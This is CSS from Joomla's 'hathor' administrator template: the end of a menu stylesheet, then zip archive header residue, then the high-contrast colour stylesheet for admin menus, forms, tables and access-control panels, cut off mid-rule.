.ThemeOfficeMenuItemRight { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 0; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-right: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderLeft, .ThemeOfficeMenuItem .ThemeOfficeMenuItemLeft { padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 3px; white-space: nowrap; border: 0; background-color: #DDE1E6; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderText, .ThemeOfficeMenuItem .ThemeOfficeMenuItemText { padding-top: 3px; padding-bottom: 3px; padding-left: 5px; padding-right: 5px; border: 0; background-color: inherit; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderRight, .ThemeOfficeMenuItem .ThemeOfficeMenuItemRight { padding-top: 3px; padding-bottom: 3px; padding-left: 0; padding-right: 1px; border: 0; background-color: inherit; } /* menu splits */ .ThemeOfficeMenuSplit { margin: 2px; height: 1px; overflow: hidden; background-color: inherit; border-top: 1px solid #C6C3BD; } /* image shadow animation */ /* seq1: image for normal seq2: image for hover and active To use, in the icon field, input the following: */ .ThemeOfficeMenuItem img.seq1 { display: inline; } .ThemeOfficeMenuItemHover seq2, .ThemeOfficeMenuItemActive seq2 { display: inline; } .ThemeOfficeMenuItem .seq2, .ThemeOfficeMenuItemHover .seq1, .ThemeOfficeMenuItemActive .seq1 { display: none; } /* inactive settings */ div.inactive td.ThemeOfficeMainItemHover, div.inactive td.ThemeOfficeMainItemActive { border-top: 0; border-right: 1px solid #f1f3f5; border-left: 1px solid #f1f3f5; } div.inactive .ThemeOfficeMainItem { color: #bbb; } div.inactive span.ThemeOfficeMainItemText { color: #aaa; } div.inactive .ThemeOfficeMainItemHover, div.inactive .ThemeOfficeMainItemActive { background-color: #f1f3f5; }PK@y>\+]g,templates/hathor/css/colour_highcontrast.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Changes to use high contrast colors */ /** * Main Colors * #163365 Text background/border * #1c4181 Alternative text background 1/border * #1b3f7c Alternative text background 2/border * #fcff20 Text * #ffffff Highlighted Text * #10254a Main hover color/border * #000000 Highlight/shadow border * #a20000 Invalid Alert Color * #00f800 Success Alert Color * #feffbf Disabled Menu/Protected * * MENU: * * Standard Link * #1b3f7c Link Background * #ffffff Text * #10254a Border * * Pressed Link * #163365 Text background * #ffffff Highlighted Text * #000000 Left & Top Border * #1b3f7c Right & Bottom Border * * Background behind the links * #163365 Background * #122b56 Border * * Inactive (Disabled) * #cccccc Text * * SUBMENU * #163365 Active Tab Background * #fcff20 Active Tab Text color * #10254a Hover background * #10254a Border * #1b3f7c "off" Tab Background * #ffffff "off" Tab Text color * * #1c4181 Color behind the tabs */ /** * General styles */ body { background-color: #1c4181; color: #fcff20; } div#sbox-content { background-color: #1c4181; color: #fcff20; } h1 { color: #163365; } a:link { color: #ffffff; } a:visited { color: #ffffff; } a:hover,a:focus { text-decoration: underline; color: #fcff20; } /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat; } #header h1.title { color: #163365; } #footer { background: #163365; border: 1px solid #1b3f7c; } #nav { background: #163365; border: 1px solid #1b3f7c; } #content { background: #1c4181; } #no-submenu { border-bottom: 1px solid #1b3f7c; } #element-box { background: #163365; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #1b3f7c; } #element-box.login { border-top: 1px solid #1b3f7c; } /** * Status layout */ #module-status a, #module-status span { color: #163365; } #module-status .preview { background: url(../images/menu/icon-16-media.png) 3px 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) 3px 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) 3px 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) 3px 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) 3px 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) 3px 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) 3px 3px no-repeat; } /** * Various Styles */ .enabled, .success , .allow, span.writable { color: #00f800; } .disabled, p.error, .warning, .deny, span.unwritable { color: #a20000; } .nowarning { color: #fcff20; } .none,.protected { color: #feffbf; } span.note { background: #163365; color: #fcff20; } div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Overlib */ .ol-foreground { background-color: #fcff20; } .ol-background { background-color: #1b3f7c; } .ol-textfont { color: #163365; } .ol-captionfont { color: #ffffff; } .ol-captionfont a { color: #1b3f7c; } /** * Subheader, toolbar, page title */ .pagetitle h2 { color: #fcff20; } div.configuration { color: #fcff20; background-image: url(../images/menu/icon-16-config.png); background-repeat: no-repeat; } div.toolbar-box { border-right: 1px solid #10254a; border-bottom: 1px solid #10254a; border-left: 1px solid #10254a; background: #163365; } div.toolbar-list li { color: #fcff20; } div.toolbar-list li.divider { border-right:1px dotted #1b3f7c; } div.toolbar-list a { border: 1px solid #10254a; color: #fcff20; background: #1b3f7c; } div.toolbar-list a:hover { border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; background: #163365; color: #ffffff; } /** * Pane Slider pane Toggler styles */ .pane-sliders .title { color: #fcff20; border: 1px solid #10254a; } .pane-sliders .panel { border: 1px solid #1b3f7c; } .pane-sliders .panel h3 { background: #1c4181; color: #fcff20; } .pane-sliders .content { background: #163365; } .pane-sliders .adminlist { border: 0 none; } .pane-sliders .adminlist td { border: 0 none; } .pane-toggler span { background: transparent url(../images/j_arrow.png) 5px 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) 5px 50% no-repeat; } .pane-toggler-down { border-bottom: 1px solid #1b3f7c; } /** * Tabs */ dl.tabs dt { border: 1px solid #10254a; background: #1c4181; color: #fcff20; } dl.tabs dt.open { background: #163365; border-bottom: 1px solid #163365; color: #fcff20; } dl.tabs dt.open a:visited { color: #fcff20; } div.current { border: 1px solid #10254a; background: #163365; } div.current dd { padding: 0; margin: 0; } div#menu-assignment h3 { border-bottom: 1px solid #fcff20; } /** * Login Settings */ #login-page .pagetitle h2 { background-color: transparent; /* background-color: #1c4181; */ color: #fcff20; } #login-page #header { border-bottom: 1px solid #1b3f7c; } #login-page #content { background: #1c4181; } #login-page #lock { background: url(../images/j_login_lock.png) 50% 0 no-repeat; } #login-page #element-box.login { background: #163365; border: 1px solid #10254a; } #form-login { border: 1px solid #10254a; background: #1c4181; } #form-login label { color: #fcff20; } #form-login div.button1 a { color: #fcff20; background-color: #1b3f7c; border: 1px solid #10254a; } #form-login div.button1 a:hover,#form-login div.button1 a:focus { text-decoration: none; background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /** * Cpanel Settings */ .cpanel-page div#element-box { background: #163365; border: 1px solid #10254a; } #cpanel div.icon a, .cpanel div.icon a { border: 1px solid #10254a; background: #1b3f7c; color: #fcff20; } #cpanel div.icon a:hover, #cpanel div.icon a:focus, .cpanel div.icon a:hover, .cpanel div.icon a:focus { border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; background: #163365; color: #ffffff; } /** * Form Styles */ fieldset { border: 3px dotted #1b3f7c; } legend { color: #fcff20; } fieldset ul.checklist input:focus { outline: thin dotted #333333; } fieldset#filter-bar { border-bottom: 1px solid #1b3f7c; } fieldset#filter-bar ol, fieldset#filter-bar ul { border: 0; } fieldset#filter-bar ol li fieldset, fieldset#filter-bar ul li fieldset { border: 0; } input,span.faux-input, select,option { color: #fcff20; background-color: #163365; border: 1px solid #1b3f7c; } /* Note: these visual cues should be augmented by aria */ .invalid { color: #a20000; background-color: #ffffff; } /* must be augmented by aria at the same time if changed dynamically by js aria-invalid=true or aria-invalid=false */ input.invalid { border: 1px solid #a20000; } input.required { background-color: #fcff20; color: #163365; border: 1px solid #1b3f7c; } input.disabled { background-color: #eeeeee; } /* Inputs used as buttons */ input[type="button"], input[type="submit"], input[type="reset"] { background-color: #1b3f7c; border: 1px solid #10254a; color: #fcff20; } input[type="button"]:hover, input[type="button"]:focus, input[type="submit"]:hover, input[type="submit"]:focus, input[type="reset"]:hover, input[type="reset"]:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } textarea { color: #fcff20; background-color: #163365; border: 1px solid #1b3f7c; } input:focus, select:focus, textarea:focus, option:focus, input:hover, select:hover, textarea:hover, option:hover { background-color: #10254a; color: #fcff20; } /** * Option or Parameter styles */ .paramrules { background: #1b3f7c; } span.gi { color: #ffffff; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { background-color: #1c4181; color: #fcff20; border-bottom: 1px solid #10254a; border-right: 1px solid #10254a; } table.paramlist td.paramlist_description { background-color: #1c4181; color: #fcff20; border-bottom: 1px solid #10254a; border-right: 1px solid #10254a; } /** * Admin Form Styles */ fieldset.adminform { border: 1px solid #1b3f7c; } /* Table styles are for use with tabular data */ table.adminform { background-color: #163365; } table.adminform tr.row0 { background-color: #163365; } table.adminform tr.row1 { background-color: #10254a; } table.adminform th { color: #fcff20; background: #163365; } table.adminform tr { border-bottom: 1px solid #1b3f7c; border-right: 1px solid #1b3f7c; } /** * Adminlist Table layout */ table.adminlist { background-color: #163365; color: #fcff20; } table.adminlist a { color: #ffffff; } table.adminlist thead th { background: #163365; color: #fcff20; } /* Table row styles */ table.adminlist tbody tr { background: #163365; } table.adminlist tbody tr.row1 { background: #163365; } table.adminlist tbody tr.row1 td, table.adminlist tbody tr.row1 th { border-bottom: 1px solid #1b3f7c; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td, table.adminlist tbody tr.row0:hover th, table.adminlist tbody tr.row1:hover th, table.adminlist tbody tr.row0:focus td, table.adminlist tbody tr.row1:focus td, table.adminlist tbody tr.row0:focus th, table.adminlist tbody tr.row1:focus th { background-color: #10254a; } table.adminlist tbody tr td, table.adminlist tbody tr th { border-right: 1px solid #1b3f7c; } table.adminlist tbody tr td:last-child { border-right: none; } table.adminlist tbody tr.row0:last-child td, table.adminlist tbody tr.row0:last-child th { border-bottom: 1px solid #1b3f7c; } table.adminlist tbody tr.row0 td, table.adminlist tbody tr.row0 th { background: #1c4181; } table.adminlist tfoot tr { color: #fcff20; } /* Table td/th styles */ table.adminlist tfoot td,table.adminlist tfoot th { background-color: #163365; border-top: 1px solid #1b3f7c; } /** * Adminlist buttons */ table.adminlist tr td.btns a { background-color: #1b3f7c; border: 1px solid #10254a; color: #fcff20; } table.adminlist tr td.btns a:hover, table.adminlist tr td.btns a:active, table.adminlist tr td.btns a:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Saving order icon styling in admin tables */ fieldset.batch { background: #1c4181; } /** * Button styling */ button { color: #fcff20; background-color: #1b3f7c; border: 1px solid #10254a; } button:hover, button:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* Button 1 Type */ .button1 { border: none; background: #1b3f7c; } /* Use this if you add images to the buttons such as directional arrows */ .button1 .next { /* background: transparent url(../images/j_button1_next.png) 100% 0 no-repeat; */ } .button1 a { border: 1px solid #10254a; color: #fcff20; } .button1 a:hover,.button1 a:focus { text-decoration: none; background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* Button 2 Type */ .button2-left,.button2-right { border: none; background: #1b3f7c; } .button2-left a,.button2-right a,.button2-left span,.button2-right span { color: #fcff20; border: 1px solid #10254a; } /* these are inactive buttons */ .button2-left span,.button2-right span { color: #cccccc; border: 1px solid #10254a; } .page span,.blank span { color: #fcff20; border: 1px solid #10254a; } .button2-left a:hover,.button2-right a:hover,.button2-left a:focus,.button2-right a:focus { text-decoration: none; background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /** * Pagination styles */ /* Grey out the current page number */ .pagination .page span { color: #cccccc; } /** * Tooltips */ .tip { background: #10254a; border: 1px solid #1b3f7c; } .tip-title { background: url(../images/selector-arrow-hc.png) no-repeat; } /** * Calendar */ a img.calendar { background: url(../images/calendar.png) no-repeat; } /** * JGrid styles */ .jgrid span.publish { background-image: url(../images/admin/tick.png); } .jgrid span.unpublish { background-image: url(../images/admin/publish_x.png); } .jgrid span.archive { background-image: url(../images/menu/icon-16-archive.png); } .jgrid span.trash { background-image: url(../images/menu/icon-16-trash.png); } .jgrid span.default { background-image: url(../images/menu/icon-16-default.png); } .jgrid span.notdefault { background-image: url(../images/menu/icon-16-notdefault.png); } .jgrid span.checkedout { background-image: url(../images/admin/checked_out.png); } .jgrid span.downarrow { background-image: url(../images/admin/downarrow.png); } .jgrid span.downarrow_disabled { background-image: url(../images/admin/downarrow0.png); } .jgrid span.uparrow { background-image: url(../images/admin/uparrow.png); } .jgrid span.uparrow_disabled { background-image: url(../images/admin/uparrow0.png); } .jgrid span.published { background-image: url(../images/admin/publish_g.png); } .jgrid span.expired { background-image: url(../images/admin/publish_r.png); } .jgrid span.pending { background-image: url(../images/admin/publish_y.png); } .jgrid span.warning { background-image: url(../images/admin/publish_y.png); } /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ .icon-16-archive { background-image: url(../images/menu/icon-16-archive.png); } .icon-16-article { background-image: url(../images/menu/icon-16-article.png); } .icon-16-banners { background-image: url(../images/menu/icon-16-banner.png); } .icon-16-banners-clients { background-image: url(../images/menu/icon-16-banner-client.png); } .icon-16-banners-tracks { background-image: url(../images/menu/icon-16-banner-tracks.png); } .icon-16-banners-cat { background-image: url(../images/menu/icon-16-banner-categories.png); } .icon-16-category { background-image: url(../images/menu/icon-16-category.png); } .icon-16-checkin { background-image: url(../images/menu/icon-16-checkin.png); } .icon-16-clear { background-image: url(../images/menu/icon-16-clear.png); } .icon-16-component { background-image: url(../images/menu/icon-16-component.png); } .icon-16-config { background-image: url(../images/menu/icon-16-config.png); } .icon-16-contact { background-image: url(../images/menu/icon-16-contacts.png); } .icon-16-contact-cat { background-image: url(../images/menu/icon-16-contacts-categories.png); } .icon-16-content { background-image: url(../images/menu/icon-16-content.png); } .icon-16-cpanel { background-image: url(../images/menu/icon-16-cpanel.png); } .icon-16-default { background-image: url(../images/menu/icon-16-default.png); } .icon-16-featured { background-image: url(../images/menu/icon-16-featured.png); } .icon-16-groups { background-image: url(../images/menu/icon-16-groups.png); } .icon-16-help { background-image: url(../images/menu/icon-16-help.png); } .icon-16-help-this { background-image: url(../images/menu/icon-16-help-this.png); } .icon-16-help-forum { background-image: url(../images/menu/icon-16-help-forum.png); } .icon-16-help-docs { background-image: url(../images/menu/icon-16-help-docs.png); } .icon-16-help-jed { background-image: url(../images/menu/icon-16-help-jed.png); } .icon-16-help-jrd { background-image: url(../images/menu/icon-16-help-jrd.png); } .icon-16-help-community { background-image: url(../images/menu/icon-16-help-community.png); } .icon-16-help-security { background-image: url(../images/menu/icon-16-help-security.png); } .icon-16-help-dev { background-image: url(../images/menu/icon-16-help-dev.png); } .icon-16-help-shop { background-image: url(../images/menu/icon-16-help-shop.png); } .icon-16-info { background-image: url(../images/menu/icon-16-info.png); } .icon-16-install { background-image: url(../images/menu/icon-16-install.png); } .icon-16-joomlaupdate { background-image: url(../images/menu/icon-16-install.png); } .icon-16-language { background-image: url(../images/menu/icon-16-language.png); } .icon-16-levels { background-image: url(../images/menu/icon-16-levels.png); } .icon-16-logout { background-image: url(../images/menu/icon-16-logout.png); } .icon-16-maintenance { background-image: url(../images/menu/icon-16-maintenance.png); } .icon-16-massmail { background-image: url(../images/menu/icon-16-massmail.png); } .icon-16-media { background-image: url(../images/menu/icon-16-media.png); } .icon-16-menu { background-image: url(../images/menu/icon-16-menu.png); } .icon-16-menumgr { background-image: url(../images/menu/icon-16-menumgr.png); } .icon-16-messages { background-image: url(../images/menu/icon-16-messaging.png); } .icon-16-messages-add { background-image: url(../images/menu/icon-16-new-privatemessage.png); } .icon-16-messages-read { background-image: url(../images/menu/icon-16-messages.png); } .icon-16-module { background-image: url(../images/menu/icon-16-module.png); } /* .icon-16-new { background-image: url(../images/menu/icon-16-new.png); } */ .icon-16-newarticle { background-image: url(../images/menu/icon-16-newarticle.png); } .icon-16-newcategory { background-image: url(../images/menu/icon-16-newcategory.png); } .icon-16-newgroup { background-image: url(../images/menu/icon-16-newgroup.png); } .icon-16-newlevel { background-image: url(../images/menu/icon-16-newlevel.png); } .icon-16-newuser { background-image: url(../images/menu/icon-16-newuser.png); } .icon-16-plugin { background-image: url(../images/menu/icon-16-plugin.png); } .icon-16-profile { background-image: url(../images/menu/icon-16-user.png); } .icon-16-purge { background-image: url(../images/menu/icon-16-purge.png); } .icon-16-readmess { background-image: url(../images/menu/icon-16-readmess.png); } .icon-16-section { background-image: url(../images/menu/icon-16-section.png); } .icon-16-static { background-image: url(../images/menu/icon-16-static.png); } .icon-16-stats { background-image: url(../images/menu/icon-16-stats.png); } .icon-16-themes { background-image: url(../images/menu/icon-16-themes.png); } .icon-16-trash { background-image: url(../images/menu/icon-16-trash.png); } .icon-16-user { background-image: url(../images/menu/icon-16-user.png); } .icon-16-user-note { background-image: url(../images/menu/icon-16-user-note.png); } .icon-16-delete { background-image: url(../images/menu/icon-16-delete.png); } .icon-16-help-trans { background-image: url(../images/menu/icon-16-help-trans.png); } .icon-16-newsfeeds { background-image: url(../images/menu/icon-16-newsfeeds.png); } .icon-16-newsfeeds-cat { background-image: url(../images/menu/icon-16-newsfeeds-cat.png); } .icon-16-redirect { background-image: url(../images/menu/icon-16-redirect.png); } .icon-16-search { background-image: url(../images/menu/icon-16-search.png); } .icon-16-finder { background-image: url(../images/menu/icon-16-search.png); } .icon-16-weblinks { background-image: url(../images/menu/icon-16-links.png); } .icon-16-weblinks-cat { background-image: url(../images/menu/icon-16-links-cat.png); } /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ .icon-32-send { background-image: url(../images/toolbar/icon-32-send.png); } .icon-32-delete { background-image: url(../images/toolbar/icon-32-delete.png); } .icon-32-help { background-image: url(../images/toolbar/icon-32-help.png); } .icon-32-cancel { background-image: url(../images/toolbar/icon-32-cancel.png); } .icon-32-checkin { background-image: url(../images/toolbar/icon-32-checkin.png); } .icon-32-options{ background-image: url(../images/toolbar/icon-32-config.png); } .icon-32-apply { background-image: url(../images/toolbar/icon-32-apply.png); } .icon-32-back { background-image: url(../images/toolbar/icon-32-back.png); } .icon-32-forward { background-image: url(../images/toolbar/icon-32-forward.png); } .icon-32-save { background-image: url(../images/toolbar/icon-32-save.png); } .icon-32-edit { background-image: url(../images/toolbar/icon-32-edit.png); } .icon-32-copy { background-image: url(../images/toolbar/icon-32-copy.png); } .icon-32-move { background-image: url(../images/toolbar/icon-32-move.png); } .icon-32-new { background-image: url(../images/toolbar/icon-32-new.png); } .icon-32-upload { background-image: url(../images/toolbar/icon-32-upload.png); } .icon-32-assign { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-html { background-image: url(../images/toolbar/icon-32-html.png); } .icon-32-css { background-image: url(../images/toolbar/icon-32-css.png); } .icon-32-menus { background-image: url(../images/toolbar/icon-32-menu.png); } .icon-32-publish { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-unblock { background-image: url(../images/toolbar/icon-32-unblock.png); } .icon-32-unpublish { background-image: url(../images/toolbar/icon-32-unpublish.png); } .icon-32-restore { background-image: url(../images/toolbar/icon-32-revert.png); } .icon-32-trash { background-image: url(../images/toolbar/icon-32-trash.png); } .icon-32-archive { background-image: url(../images/toolbar/icon-32-archive.png); } .icon-32-unarchive { background-image: url(../images/toolbar/icon-32-unarchive.png); } .icon-32-preview { background-image: url(../images/toolbar/icon-32-preview.png); } .icon-32-default { background-image: url(../images/toolbar/icon-32-default.png); } .icon-32-refresh { background-image: url(../images/toolbar/icon-32-refresh.png); } .icon-32-save-new { background-image: url(../images/toolbar/icon-32-save-new.png); } .icon-32-save-copy { background-image: url(../images/toolbar/icon-32-save-copy.png); } .icon-32-error { background-image: url(../images/toolbar/icon-32-error.png); } .icon-32-new-style { background-image: url(../images/toolbar/icon-32-new-style.png); } .icon-32-delete-style { background-image: url(../images/toolbar/icon-32-delete-style.png); } .icon-32-purge { background-image: url(../images/toolbar/icon-32-purge.png); } .icon-32-remove { background-image: url(../images/toolbar/icon-32-remove.png); } .icon-32-featured { background-image: url(../images/toolbar/icon-32-featured.png); } .icon-32-export { background-image: url(../images/toolbar/icon-32-export.png); } .icon-32-stats { background-image: url(../images/toolbar/icon-32-stats.png); } .icon-32-print { background-image: url(../images/toolbar/icon-32-print.png); } /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ .icon-48-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-generic { background-image: url(../images/header/icon-48-generic.png); } .icon-48-banners { background-image: url(../images/header/icon-48-banner.png); } .icon-48-banners-categories { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-edit { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-banners-clients { background-image: url(../images/header/icon-48-banner-client.png); } .icon-48-banners-tracks { background-image: url(../images/header/icon-48-banner-tracks.png); } .icon-48-checkin { background-image: url(../images/header/icon-48-checkin.png); } .icon-48-clear { background-image: url(../images/header/icon-48-clear.png); } .icon-48-contact { background-image: url(../images/header/icon-48-contacts.png); } .icon-48-contact-categories { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-edit { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-purge { background-image: url(../images/header/icon-48-purge.png); } .icon-48-cpanel { background-image: url(../images/header/icon-48-cpanel.png); } .icon-48-config { background-image: url(../images/header/icon-48-config.png); } .icon-48-groups { background-image: url(../images/header/icon-48-groups.png); } .icon-48-groups-add { background-image: url(../images/header/icon-48-groups-add.png); } .icon-48-levels { background-image: url(../images/header/icon-48-levels.png); } .icon-48-levels-add { background-image: url(../images/header/icon-48-levels-add.png); } .icon-48-module { background-image: url(../images/header/icon-48-module.png); } .icon-48-menu { background-image: url(../images/header/icon-48-menu.png); } .icon-48-menu-add { background-image: url(../images/header/icon-48-menu-add.png); } .icon-48-menumgr { background-image: url(../images/header/icon-48-menumgr.png); } .icon-48-trash { background-image: url(../images/header/icon-48-trash.png); } .icon-48-user { background-image: url(../images/header/icon-48-user.png); } .icon-48-user-add { background-image: url(../images/header/icon-48-user-add.png); } .icon-48-user-edit { background-image: url(../images/header/icon-48-user-edit.png); } .icon-48-user-profile { background-image: url(../images/header/icon-48-user-profile.png); } .icon-48-inbox { background-image: url(../images/header/icon-48-inbox.png); } .icon-48-new-privatemessage { background-image: url(../images/header/icon-48-new-privatemessage.png); } .icon-48-msgconfig { background-image: url(../images/header/icon-48-message_config.png); } .icon-48-langmanager { background-image: url(../images/header/icon-48-language.png); } .icon-48-mediamanager { background-image: url(../images/header/icon-48-media.png); } .icon-48-plugin { background-image: url(../images/header/icon-48-plugin.png); } .icon-48-help_header { background-image: url(../images/header/icon-48-help_header.png); } .icon-48-impressions { background-image: url(../images/header/icon-48-stats.png); } .icon-48-browser { background-image: url(../images/header/icon-48-stats.png); } .icon-48-searchtext { background-image: url(../images/header/icon-48-stats.png); } .icon-48-thememanager { background-image: url(../images/header/icon-48-themes.png); } .icon-48-writemess { background-image: url(../images/header/icon-48-writemess.png); } .icon-48-featured { background-image: url(../images/header/icon-48-featured.png); } .icon-48-sections { background-image: url(../images/header/icon-48-section.png); } .icon-48-article-add { background-image: url(../images/header/icon-48-article-add.png); } .icon-48-article-edit { background-image: url(../images/header/icon-48-article-edit.png); } .icon-48-article { background-image: url(../images/header/icon-48-article.png); } .icon-48-content-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-install { background-image: url(../images/header/icon-48-extension.png); } .icon-48-dbbackup { background-image: url(../images/header/icon-48-backup.png); } .icon-48-dbrestore { background-image: url(../images/header/icon-48-dbrestore.png); } .icon-48-dbquery { background-image: url(../images/header/icon-48-query.png); } .icon-48-systeminfo { background-image: url(../images/header/icon-48-info.png); } .icon-48-massmail { background-image: url(../images/header/icon-48-massmail.png); } .icon-48-redirect { background-image: url(../images/header/icon-48-redirect.png); } .icon-48-search { background-image: url(../images/header/icon-48-search.png); } .icon-48-finder { background-image: url(../images/header/icon-48-search.png); } .icon-48-newsfeeds { background-image: url(../images/header/icon-48-newsfeeds.png); } .icon-48-newsfeeds-categories { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-edit { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-weblinks { background-image: url(../images/header/icon-48-links.png); } .icon-48-weblinks-categories { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-edit { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-add { background-image: url(../images/header/icon-48-category-add.png); } /** * General styles */ div.message { border: 1px solid #1b3f7c; color: #333; } .helpFrame { border-left: 0 solid #1b3f7c; border-right: none; border-top: none; border-bottom: none; } /** * Override mootree.css styles * media/system/css/mootree.css */ .mooTree_selected { background-color: #10254a; } /** * Modal Styles */ dl.menu_type dt { border-bottom: 1px solid #1b3f7c; } ul#new-modules-list { border-top: 1px solid #1b3f7c; } /** * Override mediamanager.css styles * administrator/components/com_media/assets/mediamanager.css */ #folderview input#folderpath { width: 65%; color: #fcff20; background-color: #163365; border: 1px solid #1b3f7c; } .upload-queue .queue-loader { background-color: #fcff20; color: #163365; border: 1px inset #fcff20; } .upload-queue .queue-subloader { background-color: #1b3f7c; color: #fcff20; } /** * User Accessibility */ /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { color: #163365; background: #fcff20; } /** * Admin Form Styles */ fieldset.panelform { border: none 0; } /** * ACL STYLES relocated from com_users/media/grid.css */ a.move_up { background-image: url('../images/admin/uparrow.png'); } span.move_up { background-image: url('../images/admin/uparrow0.png'); } a.move_down { background-image: url('../images/admin/downarrow.png'); } span.move_down { background-image: url('../images/admin/downarrow0.png'); } a.grid_false { background-image: url('../images/admin/publish_x.png'); } a.grid_true { background-image: url('../images/admin/tick.png'); } a.grid_trash { background-image: url('../images/admin/icon-16-trash.png'); } /** * ACL PANEL STYLES */ /* All Tabs */ tr.row1 { background-color: #1c4181; } /* Summary Tab */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-left: 1px solid #cbcbcb; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat; } span.icon-16-locked { background: url(../images/admin/checked_out.png) 0 0 no-repeat; } label.icon-16-allow { background: url(../images/admin/icon-16-allow.png) no-repeat; } label.icon-16-deny { background: url(../images/admin/icon-16-deny.png) no-repeat; } a.icon-16-allow { background: url(../images/admin/icon-16-allow.png) no-repeat ; } a.icon-16-deny { background: url(../images/admin/icon-16-deny.png) no-repeat ; } a.icon-16-allowinactive { background: url(../images/admin/icon-16-allowinactive.png) no-repeat ; } a.icon-16-denyinactive { background: url(../images/admin/icon-16-denyinactive.png) no-repeat ; } /* ACL footer/legend */ ul.acllegend li.acl-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat left; } ul.acllegend li.acl-denied { background: url(../images/admin/icon-16-deny.png) no-repeat left; } li.acl-editgroups, li.acl-resetbtn { background-color: #1b3f7c; border: 1px solid #10254a; } li.acl-editgroups a, li.acl-resetbtn a { color: #fcff20 } li.acl-editgroups:hover, li.acl-resetbtn:hover, li.acl-editgroups:focus, li.acl-resetbtn:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* ACL Config --------- */ table#acl-config { border: 1px solid #10254a; background: #1c4181; } table#acl-config th, table#acl-config td { background: #1c4181; border-bottom: 1px solid #10254a; border-top: none; border-left: none; 